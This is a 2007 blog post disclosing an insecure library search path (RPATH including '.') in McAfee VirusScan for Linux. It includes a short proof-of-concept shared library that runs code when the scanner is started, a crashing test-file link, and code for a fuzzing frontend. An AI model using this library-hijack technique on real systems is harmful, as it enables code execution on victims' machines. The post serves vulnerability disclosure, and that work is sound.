Month of McAfee Bugs?
Tuesday, July 17, 2007 8:19:41 AM
I'll post an update here when they make their patch available.
*phew* Problem solved.
I'm not a big fan of the anti virus industry, apart from selling the ridiculous idea of blacklisting malicious content, trying to improve security by giving attackers hundreds of thousands more lines of code to explore is just naive. You should question any vendor who is trying to sell you something with the promise that adding more code will improve your security, good security is always inversely proportional to the amount of code exposed to attackers. This is why firewalls are good security; they reduce the amount of code attackers can reach. This is why IDS and anti virus are bad security; they increase the amount of code attackers can reach. (note: I'm sure I'll get some responses from people who make their money peddling this crap, or who have bought into the marketing from these vendors explaining what an idiot I am). McAfee, however, have really managed to annoy me. Some readers may recall CVE-2006-6474, an insecure DT_RPATH in McAfee VirusScan. We reported this issue to McAfee in December, and they still havnt issued a fix to their suckers^Wcustomers. What would be funny (if it wasn't causing me work), is that a company that makes its money analyzing executables (which presumably requires hiring at least a few engineers who understand how they work) are having great difficulty understanding this simple bug. The problem is that when McAfee compiled their product, they specified that the DT_RPATH should include the working directory.
$ objdump -p uvscan | grep RPATH RPATH /lib:/usr/lib:/usr/local/lib:.Note the . at the end, this would have been specified by something like$ gcc -Wl,-rpath,/lib:/usr/lib:/usr/local/lib:. -o uvscan ...This tells the dynamic linker that it should search for required libraries in the working directory. Therefore, if a file matching one of the NEEDED tags can be found in the working directory, the dynamic loader will open it and execute the code from within it. This is very easy to exploit, here is an example.$ cat uvscan.c #include void __attribute__((constructor)) init() { fprintf(stderr, "owned.n"); return; } $ gcc -fPIC -shared -o liblnxfv.so.4 uvscan.c $ uvscan liblnxfv.so.4 owned.Using this attack on automated systems that use uvscan would be trivially easy, or simply convince a user to download the file, or tar archive containing the file. eg:$ tar -zxf cool-thing.tar.gz $ cd cool-thing $ uvscan * ownedThe solution is very simple, although they didnt realise it, they didnt mean to specify ".", they meant "$ORIGIN", which is a shortcut interpreted by ld.so meaning the location of the binary. To fix the problem, they simply have to make that change to their build scripts, a simple one line fix. When I explained this to McAfee, their response was:I don't even know where to begin explaining whats wrong with this statement. Firstly, the privilege is most definitely raised, from "remote attacker" without any privileges to "executing user". How can a company that makes their money blacklisting malicious executables not understand that when a remote attacker sends you a malicious file, executing that file without intending to is most definitely a "privilege escalation" attack? It's incomprehensible how moronic this company is. Since this issue has been reported, at least two or three times a month I'm contacted by one of their customers asking me to explain the problem or how they can workaround it. I emailed McAfee and asked them if they want any help fixing this issue, as I'm sick of doing their technical support for them, but they never responded. In protest of this, I'm thinking of starting a Month of McAfee Bugs (MOMcB) project, which perhaps will get their attention and force them to start taking security problems in their products seriously. Modeled on the same format of previous MO?B projects, I would report a new flaw in McAfee VirusScan everyday for a month, including an exploit (if it wouldn't be too time consuming). Finding these flaws is ridiculously easy, I've already found several using fuzzing (I assume most (if not all) will also affect their windows product). Here you go, you can have this one for free
McAfee disagrees with your statement that this is a "high" severity issue, as the privilege of the executed code is not raised from the privileges of the executing user.http://dev.gentoo.org/~taviso/vstestcase.003
$ uvscan --secure vstestcase.003 Segmentation faultFeel free to try it on windows and let me know if it works. Unfortunately their scanner is way too slow to make fuzzing feasible, presumably due to expensive licensing and self-checking. Luckily, the actual scanning takes place in a DSO they ship with their product, so all I had to do was reverse engineer their API and make a quick frontend more suitable for fuzzing. This wasn't easy, they have a very bizarre API that involves passing stacks of tags around. I eventually understood enough to make it work. So a minimal uvscan replacement would look something like this.../* intialise the scanner */ state = t_init(0x00070008); state = t_push(state, 0x0064000C, sizeof(void *), nop); /* datfile locations */ state = t_push(state, 0x0068000C, sizeof(scandat), scandat); state = t_push(state, 0x0069000C, sizeof(namesdat), namesdat); state = t_push(state, 0x006A000C, sizeof(cleandat), cleandat); AVInitialise(t_get(state), buf, buf->len, 0, 0); /* first dword of buf is now a state cookie */ o = buf; /* construct scan instructions */ object = t_init(0x000D0008); /* callback thats passed results */ object = t_push(object, 0x0064000C, sizeof(void *), results); /* scan options */ object = t_push(object, 0x01F6000C, 0, 0); object = t_push(object, 0x0193000C, 0, 0); object = t_push(object, 0x0190000C, 0, 0); object = t_push(object, 0x0191000C, 0, 0); object = t_push(object, 0x0250000C, 0, 0); object = t_push(object, 0x01f6000C, 0, 0); object = t_push(object, 0x0194000C, 0, 0); object = t_push(object, 0x0194000C, 0, 0); object = t_push(object, 0x01F6000C, 0, 0); object = t_push(object, 0x0005000C, 0, 0); /* target */ object = t_push(object, 0x00CB000C, strlen(target) + 1, target); AVScanObject(*(o + 1), t_get(object), tmp, strlen(target) + 1, NULL);Once I had this working, writing a quick fuzzer around it was trivial. I'll write another blog post about how I reverse engineered it, with some example code snippets. So, what does the community think, I can easily find enough bugs for a MOMcB, should I start one? Once the Project is over, I wouldd release the fuzzer I've written so that anyone interested can find even more bugs. If anyone is interested in getting involved, or would like a copy of the fuzzer to start their own project, let me know.








Unregistered user # Tuesday, July 17, 2007 1:40:51 PM
Unregistered user # Thursday, August 9, 2007 4:05:43 PM
Unregistered user # Tuesday, April 8, 2008 3:20:22 PM
Unregistered user # Friday, June 18, 2010 7:48:33 AM
Unregistered user # Saturday, January 21, 2012 3:31:42 PM